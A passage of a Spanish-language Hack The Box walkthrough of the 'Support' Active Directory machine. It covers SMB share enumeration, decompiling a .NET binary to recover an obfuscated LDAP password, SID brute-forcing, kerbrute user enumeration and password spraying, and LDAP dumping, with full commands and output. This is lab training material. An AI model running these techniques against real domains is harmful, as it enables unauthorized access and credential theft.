Security Layer
Research Articles ๐Ÿ”Ž๐ŸŽต๐Ÿ‘ฝGitHub
  • Bienvenido a Security Layer
  • ๐Ÿ‘พHack The Box
    • ๐Ÿ‘พHACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • ๐Ÿ‘พTry Hackme
    • ๐Ÿ‘พTRY HACKME
    • Attacking Kerberos
  • ๐Ÿ› ๏ธTools
    • ๐Ÿ› ๏ธTools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • โš ๏ธScripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  • Enumeraciรณn de puertos/servicios
  • Primeros pasos en BloodHound

Support

Dificultad: Easy - OS: Windows

ยฏ\_( อกยฐ อœส– อกยฐ)_/ยฏ Machine info

Support se centra en una mรกquina Windows dentro de un entorno de Active Directory y propone un recorrido que combina tรฉcnicas de enumeraciรณn de servicios, ingenierรญa inversa y ataques de delegaciรณn en entornos corporativos. Desde el inicio, se expone un vector de entrada a travรฉs de un recurso compartido SMB que permite acceso anรณnimo. A partir de allรญ, se accede a un ejecutable sospechoso que se analiza mediante decompilaciรณn para descubrir credenciales codificadas que permiten autenticarse en el servicio LDAP de la misma mรกquina. Este primer tramo del reto establece el uso de tรฉcnicas fundamentales de enumeraciรณn de red y anรกlisis estรกtico de binarios.

Una vez obtenido acceso al servicio LDAP gracias a la contraseรฑa extraรญda del ejecutable, el atacante puede realizar consultas al directorio y obtener informaciรณn clave sobre los usuarios. Este descubrimiento revela un usuario legรญtimo del sistema, junto con su contraseรฑa filtrada en un campo del directorio. Con estas credenciales, se obtiene una sesiรณn remota a travรฉs de WinRM, lo cual permite pivotar a una fase mรกs avanzada del ataque. Aquรญ, se recurre a herramientas de post-explotaciรณn como SharpHound y BloodHound para analizar relaciones dentro del dominio, exponiendo privilegios mal configurados que el usuario comprometido tiene sobre el controlador de dominio.

La fase final del desafรญo explota estas configuraciones dรฉbiles mediante un ataque de delegaciรณn restringida basada en recursos (Resource-Based Constrained Delegation). Esta tรฉcnica permite al atacante suplantar identidades dentro del entorno del dominio y ejecutar cรณdigo como el usuario mรกs privilegiado del sistema, NT AUTHORITY\SYSTEM.

Enumeraciรณn de puertos/servicios

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB]
โ””โ”€# nmap -sCV --open -T4 -v -n 10.10.11.174
๐Ÿ“Œ Parรกmetros
  • sCV:

    • -sC โ†’ Ejecuta scripts de detecciรณn predeterminados โ†’ Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan informaciรณn adicional en los puertos abiertos.

    • -sV โ†’ Detecciรณn de versiones โ†’ Intenta identificar el software y su versiรณn en los puertos abiertos.

  • -n โ†’ No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open โ†’ Muestra solo puertos abiertos โ†’ Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4 โ†’ Ajusta la velocidad del escaneo โ†’ T4 es un nivel "agresivo" que acelera el escaneo, รบtil en redes rรกpidas.

  • -v โ†’ Modo verbose โ†’ Muestra mรกs detalles sobre el progreso del escaneo.

Resultado:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-12 03:51:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-05-12T03:52:11
|_  start_date: N/A
|_clock-skew: -8m58s

En sรญntesis:

| Port     | State | Service       | Protocol / Version Info                                                                 |
|----------|-------|---------------|-----------------------------------------------------------------------------------------------
| 53/tcp   | open  | domain        | Simple DNS Plus                                                                          
| 88/tcp   | open  | kerberos-sec  | Microsoft Windows Kerberos (server time: 2025-05-12 03:51:57Z)                           
| 135/tcp  | open  | msrpc         | Microsoft Windows RPC                                                                    
| 139/tcp  | open  | netbios-ssn   | Microsoft Windows netbios-ssn                                                            
| 389/tcp  | open  | ldap          | Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 
| 445/tcp  | open  | microsoft-ds  | Unknown version (service detected but not fingerprinted)                                 
| 464/tcp  | open  | kpasswd5      | Unknown version                                                                          
| 593/tcp  | open  | ncacn_http    | Microsoft Windows RPC over HTTP 1.0                                                      
| 636/tcp  | open  | tcpwrapped    |                                                                                          
| 3268/tcp | open  | ldap          | Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 
| 3269/tcp | open  | tcpwrapped    |                                                                                          
| 5985/tcp | open  | http          | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                   

Aรฑadimos el controlador de dominio (DC) que nos muestra nmap a nuestro archivo /etc/hosts

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# echo "10.10.11.174    support.htb" >> /etc/hosts 
โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# enum4linux-ng -A support.htb -u SUPPORT/guest -p ""
ENUM4LINUX - next generation (v1.3.4)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... support.htb
[*] Username ......... 'SUPPORT/guest'
[*] Random Username .. 'bztefksc'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ==========================================================
|    Domain Information via SMB session for support.htb    |
 ==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC                                                                    
NetBIOS domain name: SUPPORT                                                                 
DNS domain: support.htb                                                                      
FQDN: dc.support.htb                                                                         
Derived membership: domain member                                                            
Derived domain: SUPPORT 

 =====================================
|    Shares via RPC on support.htb    |
 =====================================
[*] Enumerating shares
[+] Found 6 share(s):
ADMIN$:                                                                                      
  comment: Remote Admin                                                                      
  type: Disk                                                                                 
C$:                                                                                          
  comment: Default share                                                                     
  type: Disk                                                                                 
IPC$:                                                                                        
  comment: Remote IPC                                                                        
  type: IPC                                                                                  
NETLOGON:                                                                                    
  comment: Logon server share                                                                
  type: Disk                                                                                 
SYSVOL:                                                                                      
  comment: Logon server share                                                                
  type: Disk                                                                                 
support-tools:                                                                               
  comment: support staff tools                                                               
  type: Disk                                                                                 
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share SYSVOL
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share support-tools
[+] Mapping: OK, Listing: OK

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# echo "10.10.11.174    dc.support.htb" >> /etc/hosts 
๐Ÿ“Œ Parรกmetros

Este comando realiza una enumeraciรณn agresiva sobre el objetivo support.htb, autenticรกndose como el usuario SUPPORT/guest con una contraseรฑa vacรญa. Vamos a desglosarlo:

  • -A: modo agresivo. Ejecuta todos los mรณdulos disponibles para recopilar la mรกxima cantidad de informaciรณn, incluyendo:

    • Enumeraciรณn de usuarios y grupos.

    • Listado de shares y permisos.

    • Informaciรณn sobre el sistema operativo y configuraciรณn del dominio.

    • Enumeraciรณn de polรญticas de contraseรฑas y SID.

  • support.htb: nombre del host objetivo, debe resolverse a una IP vรกlida (por /etc/hosts o DNS).

  • -u SUPPORT/guest: usuario con el que se autentica. Aquรญ se usa el dominio SUPPORT y el nombre de usuario guest.

  • -p "": contraseรฑa vacรญa (comillas dobles para especificar que es un string vacรญo).

Encontramos el FQDN que tambiรฉn es importante agregarlo al fichero /etc/hosts. El DNS domain es el contenedor lรณgico (support.htb), y el FQDN es la identificaciรณn completa de un equipo especรญfico dentro de ese contenedor (dc.support.htb).

ยฟPor quรฉ es vรกlido usar el usuario guest en herramientas como enum4linux?

En muchos sistemas Windows mal configurados (o con configuraciones predeterminadas antiguas), existe una cuenta de invitado llamada Guest o guest que permite autenticaciรณn con privilegios mรญnimos o incluso sin contraseรฑa. Aunque tiene accesos limitados, puede usarse para:

  • Enumerar shares pรบblicos (smbclient -L).

  • Obtener informaciรณn bรกsica del dominio o de usuarios a travรฉs de rpcclient o enum4linux.

  • Validar si el sistema permite autenticaciรณn anรณnima

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# smbclient \\\\support.htb\\support-tools -U SUPPORT/guest 
Password for [SUPPORT\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jul 20 13:01:06 2022
  ..                                  D        0  Sat May 28 07:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 07:19:55 2022
  putty.exe                           A  1273576  Sat May 28 07:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 07:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 13:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022

                4026367 blocks of size 4096. 970318 blocks available
smb: \> get UserInfo.exe.zip 
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (145.3 KiloBytes/sec) (average 145.3 KiloBytes/sec)
smb: \> exit
                                                                                             
โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# strings UserInfo.exe

El recurso que nos interesa descargar para analizar de forma local es el UserInfo.exe.zip. Si analizamos las secuencias de caracteres con strings vamos a ver que se trata de un programa codeado en .NET. Entonces lo siguiente que debemos hacer es decompilarlo con alguna tool como ILSpy para analizar su cรณdigo fuente en busca de credenciales hardcodeadas. Para instalar y ejecutar este programa seguimos estos pasos:

$ wget https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2-rc/Linux.x64.Release.zip
$ unzip Linux.x64.Release.zip
$ unzip ILSpy-linux-x64-Release.zip
$ cd artifacts/linux-x64
$ chmod +x ILSpy
$ ./ILSpy

Luego descomprimimos el UserInfo.exe.zip y abrimos el ejecutable con ILSpy

Las funciones crรญticas que nos interesan son LdapQuery y Protected, allรญ encontraremos la forma en que el binario codifica las contraseรฑas y tambiรฉn un posible usuario del sistema.

๐Ÿ“Œ Funciones crรญticas

1. Funciรณn crรญtica: Protected.getPassword()

Esta funciรณn estรก diseรฑada para ocultar una contraseรฑa embebida dentro del binario. Utiliza una estrategia de ofuscaciรณn comรบn: codifica la contraseรฑa con Base64 y luego aplica una operaciรณn de doble XOR (primero con una clave estรกtica "armando" y luego con el valor constante 0xDF). Al ejecutarse, esta funciรณn devuelve la contraseรฑa en texto claro, necesaria para autenticarse en el servidor LDAP.

Importancia crรญtica: Esta funciรณn actรบa como la clave de acceso a los servicios internos del dominio. Oculta credenciales en el binario, pero permite recuperarlas mediante ingenierรญa inversa.

2. Funciรณn crรญtica: LdapQuery()

LdapQuery() es el segundo componente esencial. Una vez que getPassword() retorna la contraseรฑa en texto claro, esta funciรณn la utiliza para establecer una conexiรณn LDAP contra el servidor support.htb. Crea un objeto DirectoryEntry con el usuario support\ldap y la contraseรฑa obtenida, y luego instancia un DirectorySearcher que permite consultar objetos del directorio activo.

Importancia crรญtica: Esta funciรณn transforma la contraseรฑa en un vector de acceso real al dominio. Gracias a ella, el binario puede interactuar con el servidor LDAP y realizar consultas, como buscar usuarios por nombre. Es la funcionalidad principal de la herramienta, cuya intenciรณn aparente es listar informaciรณn de usuarios del sistema.

3. Relaciรณn entre ambas funciones

  • getPassword() alimenta al la funciรณn LdapQuery() con la credencial necesaria.

  • LdapQuery() aprovecha esa credencial para autenticarse y ejecutar bรบsquedas LDAP.

  • Estas dos funciones forman una cadena de ejecuciรณn crรญtica, en la que la primera rompe la ofuscaciรณn y la segunda establece una conexiรณn de red privilegiada.

Juntas, habilitan la extracciรณn de informaciรณn sensible del dominio, como la lista de usuarios, atributos de cuenta, y potencialmente datos filtrados.

Este patrรณn es tรญpico de aplicaciones internas que intentan ocultar credenciales pero que, al quedar embebidas en un ejecutable, pueden ser recuperadas fรกcilmente mediante reversing.

Entonces la contraseรฑa que vamos a descifrar es

0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E

  • La funciรณn getPassword() en el binario replica exactamente esta lรณgica:

    1. Decodifica la contraseรฑa de Base64.

    2. Aplica un XOR con la clave "armando" (cรญclico).

    3. Aplica un XOR con 0xDF.

    4. Devuelve la contraseรฑa como string.

  • La funciรณn LdapQuery() usa esta contraseรฑa para conectarse a un servidor LDAP con el usuario support\ldap.

๐Ÿ“Œ ยฟQuรฉ es XOR?

XOR (abreviaciรณn de "exclusive OR") es una operaciรณn lรณgica a nivel de bits. Toma dos valores binarios (bits) y devuelve:

  • 1 si son diferentes (uno es 0 y el otro es 1),

  • 0 si son iguales (ambos 0 o ambos 1).

A nivel de bytes, si hacรฉs un XOR entre dos bytes, estรกs comparando cada bit uno a uno.

ยฟCรณmo se descifra en CyberChef?

Para revertir este proceso y obtener la contraseรฑa original, replicamos las operaciones en orden inverso:

1. From Base64

Decodificamos el string para obtener los bytes ofuscados.

2. XOR con "armando"

Aplicamos XOR con la clave armando. Esto revierte la primera capa del cifrado.

3. XOR con DF (hex)

Aplicamos un XOR final con el valor 0xDF a cada byte. Esto revierte la segunda capa aplicada durante el cifrado.

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# impacket-lookupsid -no-pass 'SUPPORT/guest@support.htb' > users.txt
                                                                             
โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# cat users.txt 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Brute forcing SIDs at support.htb
[*] StringBinding ncacn_np:support.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1677581083-3380853377-188903654
498: SUPPORT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: SUPPORT\Administrator (SidTypeUser)
501: SUPPORT\Guest (SidTypeUser)
502: SUPPORT\krbtgt (SidTypeUser)
512: SUPPORT\Domain Admins (SidTypeGroup)
513: SUPPORT\Domain Users (SidTypeGroup)
514: SUPPORT\Domain Guests (SidTypeGroup)
515: SUPPORT\Domain Computers (SidTypeGroup)
516: SUPPORT\Domain Controllers (SidTypeGroup)
517: SUPPORT\Cert Publishers (SidTypeAlias)
518: SUPPORT\Schema Admins (SidTypeGroup)
519: SUPPORT\Enterprise Admins (SidTypeGroup)
520: SUPPORT\Group Policy Creator Owners (SidTypeGroup)
521: SUPPORT\Read-only Domain Controllers (SidTypeGroup)
522: SUPPORT\Cloneable Domain Controllers (SidTypeGroup)
525: SUPPORT\Protected Users (SidTypeGroup)
526: SUPPORT\Key Admins (SidTypeGroup)
527: SUPPORT\Enterprise Key Admins (SidTypeGroup)
553: SUPPORT\RAS and IAS Servers (SidTypeAlias)
571: SUPPORT\Allowed RODC Password Replication Group (SidTypeAlias)
572: SUPPORT\Denied RODC Password Replication Group (SidTypeAlias)
1000: SUPPORT\DC$ (SidTypeUser)
1101: SUPPORT\DnsAdmins (SidTypeAlias)
1102: SUPPORT\DnsUpdateProxy (SidTypeGroup)
1103: SUPPORT\Shared Support Accounts (SidTypeGroup)
1104: SUPPORT\ldap (SidTypeUser)
1105: SUPPORT\support (SidTypeUser)
1106: SUPPORT\smith.rosario (SidTypeUser)
1107: SUPPORT\hernandez.stanley (SidTypeUser)
1108: SUPPORT\wilson.shelby (SidTypeUser)
1109: SUPPORT\anderson.damian (SidTypeUser)
1110: SUPPORT\thomas.raphael (SidTypeUser)
1111: SUPPORT\levine.leopoldo (SidTypeUser)
1112: SUPPORT\raven.clifton (SidTypeUser)
1113: SUPPORT\bardot.mary (SidTypeUser)
1114: SUPPORT\cromwell.gerard (SidTypeUser)
1115: SUPPORT\monroe.david (SidTypeUser)
1116: SUPPORT\west.laura (SidTypeUser)
1117: SUPPORT\langley.lucy (SidTypeUser)
1118: SUPPORT\daughtler.mabel (SidTypeUser)
1119: SUPPORT\stoll.rachelle (SidTypeUser)
1120: SUPPORT\ford.victoria (SidTypeUser)

Antes de validar estos usuarios con kerbrute, necesitamos extraer solo los nombres de usuario (sin el dominio ni el RID ni el tipo de objeto), y guardarlos en un archivo limpio, uno por lรญnea. Para hacer esto vamos a usar awk

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# awk -F'\\\\' '/SidTypeUser/ { split($2, a, " "); print a[1] }' users.txt > usernames.txt

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# cat usernames.txt
Administrator
Guest
krbtgt
DC$
ldap
support
smith.rosario
hernandez.stanley
wilson.shelby
anderson.damian
thomas.raphael
levine.leopoldo
raven.clifton
bardot.mary
cromwell.gerard
monroe.david
west.laura
langley.lucy
daughtler.mabel
stoll.rachelle
ford.victoria

Ahora que tenemos la lista de usuarios seteamos el siguiente comando para validar la lista de usuarios con el dominio

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# kerbrute userenum -d support.htb --dc dc.support.htb usernames.txt -v

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/15/25 - Ronnie Flathers @ropnop

2025/05/15 20:10:11 >  Using KDC(s):
2025/05/15 20:10:11 >   dc.support.htb:88

2025/05/15 20:10:12 >  [+] VALID USERNAME:       Administrator@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       DC$@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       hernandez.stanley@support.htb                                                                            
2025/05/15 20:10:12 >  [+] VALID USERNAME:       ldap@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       smith.rosario@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       support@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       wilson.shelby@support.htb
2025/05/15 20:10:12 >  [!] krbtgt@support.htb - USER LOCKED OUT
2025/05/15 20:10:12 >  [+] VALID USERNAME:       anderson.damian@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       Guest@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       raven.clifton@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       levine.leopoldo@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       thomas.raphael@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       cromwell.gerard@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       bardot.mary@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       stoll.rachelle@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       west.laura@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       daughtler.mabel@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       monroe.david@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       langley.lucy@support.htb
2025/05/15 20:10:12 >  [+] VALID USERNAME:       ford.victoria@support.htb
2025/05/15 20:10:12 >  Done! Tested 21 usernames (20 valid) in 0.714 seconds
๐Ÿ“Œ Parรกmetros
  • userenum: modo de enumeraciรณn de usuarios. Envia solicitudes AS_REQ sin preautenticaciรณn para verificar quรฉ usuarios existen (basado en la respuesta del KDC).

  • -d support.htb: el dominio en el que se estรก realizando la enumeraciรณn. Se utiliza para construir el SPN o principal Kerberos (user@DOMAIN).

  • --dc dc.support.htb: servidor objetivo, usualmente el controlador de dominio (Domain Controller). Se conecta al puerto 88 (Kerberos).

  • usernames.txt: archivo con la lista de posibles usuarios a validar.

  • -v: salida detallada que indica cuรกl usuario es vรกlido, invรกlido, o si hubo errores de comunicaciรณn.

Una vez que nos aseguramos que todos los usuarios de la lista son vรกlidos podemos buscar el match con la contraseรฑa usando el mรณdulo passwordspray de kerbrute

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# kerbrute passwordspray -d support.htb --dc dc.support.htb usernames.txt 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -v

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 05/15/25 - Ronnie Flathers @ropnop

2025/05/15 20:13:30 >  Using KDC(s):
2025/05/15 20:13:30 >   dc.support.htb:88

2025/05/15 20:13:31 >  [!] Guest@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (14) KDC_ERR_ETYPE_NOSUPP KDC has no support for encryption type                                                             
2025/05/15 20:13:31 >  [!] krbtgt@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - USER LOCKED OUT                                                      
2025/05/15 20:13:31 >  [+] VALID LOGIN WITH ERROR:       ldap@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz        (Clock skew is too great)           
2025/05/15 20:13:31 >  [!] smith.rosario@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:31 >  [!] Administrator@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:31 >  [!] wilson.shelby@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:31 >  [!] support@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                                    
2025/05/15 20:13:31 >  [!] anderson.damian@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                            
2025/05/15 20:13:31 >  [!] DC$@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                                        
2025/05/15 20:13:31 >  [!] hernandez.stanley@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                          
2025/05/15 20:13:31 >  [!] thomas.raphael@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                             
2025/05/15 20:13:31 >  [!] levine.leopoldo@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                            
2025/05/15 20:13:31 >  [!] raven.clifton@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:31 >  [!] bardot.mary@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                                
2025/05/15 20:13:31 >  [!] monroe.david@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                               
2025/05/15 20:13:31 >  [!] cromwell.gerard@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                            
2025/05/15 20:13:31 >  [!] langley.lucy@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                               
2025/05/15 20:13:31 >  [!] daughtler.mabel@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                            
2025/05/15 20:13:31 >  [!] west.laura@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                                 
2025/05/15 20:13:31 >  [!] stoll.rachelle@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                             
2025/05/15 20:13:32 >  [!] ford.victoria@support.htb:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz - Invalid password                                              
2025/05/15 20:13:32 >  Done! Tested 21 logins (1 successes) in 1.219 seconds
๐Ÿ“Œ Parรกmetros
  • passwordspray: modo de ataque. Usa una sola contraseรฑa contra mรบltiples usuarios para evitar bloqueos de cuenta. Es ideal para ambientes con polรญticas de lockout agresivas.

  • -d support.htb: define el nombre del dominio de Active Directory. Este valor se usarรก para construir los tickets Kerberos (principalmente en el campo user@REALM โ†’ usuario@support.htb).

  • --dc dc.support.htb: indica el FQDN o IP del Domain Controller al que se enviarรกn las solicitudes Kerberos (puerto 88 por defecto).

  • usernames.txt: archivo de entrada que contiene la lista de usuarios a probar.

  • 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz': contraseรฑa que se probarรก contra todos los usuarios del archivo. Se encierra entre comillas simples para evitar que caracteres como ^, $, % sean interpretados por el shell.

  • -v: modo verbose, imprime el resultado de cada intento, รบtil para anรกlisis en tiempo real.

โš ๏ธ Error detectado: Clock skew is too great (VALID LOGIN WITH ERROR)

Este error significa que hay una diferencia importante de tiempo entre la mรกquina atacante (Kali) y el servidor Kerberos del dominio (dc.support.htb). Kerberos es muy estricto con el tiempo y, por defecto, no permite diferencias mayores a 5 minutos entre cliente y servidor.

ยฟPor quรฉ es importante?

  • Kerberos usa timestamps en sus tickets.

  • Si hay desincronizaciรณn, el servidor puede rechazar tickets vรกlidos creyendo que son viejos, futuros o reusados (ataques de repeticiรณn).

  • Aunque kerbrute detectรณ que las credenciales son correctas, otros ataques Kerberos (como TGT, AS-REP roasting, o Pass-the-Ticket) van a fallar mientras este problema no se corrija.

ยฟCรณmo solucionamos esto? Sincronizando el reloj de Kali automรกticamente:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# ntpdate dc.support.htb
2025-05-15 22:17:29.815338 (-0400) -538.581818 +/- 0.116179 dc.support.htb 10.10.11.174 s1 no-leap
CLOCK: time stepped by -538.581818

Ahora que tenemos usuario y contraseรฑa vamos a realizar una bรบsqueda LDAP autenticada dentro del dominio support.htb y extraeremos objetos del contenedor Users con el objetivo de hallar mas credenciales expuestas:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# ldapsearch -x -b 'cn=Users,dc=support,dc=htb' -H ldap://10.10.11.174 -D support\\ldap -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' > ldap.txt

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โ””โ”€# cat ldap.txt | grep sAMAccountName
sAMAccountName: krbtgt
sAMAccountName: Domain Computers
sAMAccountName: Domain Controllers
sAMAccountName: Schema Admins
sAMAccountName: Enterprise Admins
sAMAccountName: Cert Publishers
sAMAccountName: Domain Admins
sAMAccountName: Domain Users
sAMAccountName: Domain Guests
sAMAccountName: Group Policy Creator Owners
sAMAccountName: RAS and IAS Servers
sAMAccountName: Allowed RODC Password Replication Group
sAMAccountName: Denied RODC Password Replication Group
sAMAccountName: Read-only Domain Controllers
sAMAccountName: Enterprise Read-only Domain Controllers
sAMAccountName: Cloneable Domain Controllers
sAMAccountName: Protected Users
sAMAccountName: Key Admins
sAMAccountName: Enterprise Key Admins
sAMAccountName: DnsAdmins
sAMAccountName: DnsUpdateProxy
sAMAccountName: Shared Support Accounts
sAMAccountName: ldap
sAMAccountName: support
sAMAccountName: smith.rosario
sAMAccountName: hernandez.stanley
sAMAccountName: wilson.shelby
sAMAccountName: anderson.damian
sAMAccountName: thomas.raphael
sAMAccountName: levine.leopoldo
sAMAccountName: raven.clifton
sAMAccountName: bardot.mary
sAMAccountName: cromwell.gerard
sAMAccountName: monroe.david
sAMAccountName: west.laura
sAMAccountName: langley.lucy
sAMAccountName: daughtler.mabel
sAMAccountName: stoll.rachelle
sAMAccountName: ford.victoria
sAMAccountName: Administrator
sAMAccountName: Guest
